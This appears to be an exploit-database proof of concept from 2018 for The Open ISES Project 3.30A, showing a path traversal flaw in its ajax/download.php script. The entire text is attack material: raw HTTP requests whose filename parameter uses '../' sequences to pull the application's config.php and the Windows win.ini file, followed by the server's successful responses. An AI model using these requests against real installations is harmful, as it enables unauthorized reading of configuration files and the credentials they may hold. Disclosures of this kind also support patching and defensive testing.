The Open ISES Project 3.30A - Arbitrary File Download

# Exploit Title: The Open ISES Project 3.30A - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-18
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://openises.sourceforge.net/
# Software Link: https://sourceforge.net/projects/openises/files/latest/download
# Version: 3.30A_050318
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/download.php?filename=[FILE]&origname=&type=

GET /[PATH]/ajax/download.php?filename=../config.php&origname=&type= HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pfdl1njr8uei6v7n3euoejuta7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 18 Oct 2018 17:20:09 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Disposition: attachment; filename="";
Content-Transfer-Encoding: binary
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: {$filetype}

GET /[PATH]/ajax/download.php?filename=../../../../../Windows/win.ini&origname=&type= HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pfdl1njr8uei6v7n3euoejuta7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 18 Oct 2018 17:23:53 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Disposition: attachment; filename="";
Content-Transfer-Encoding: binary
Pragma: public
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: {$filetype}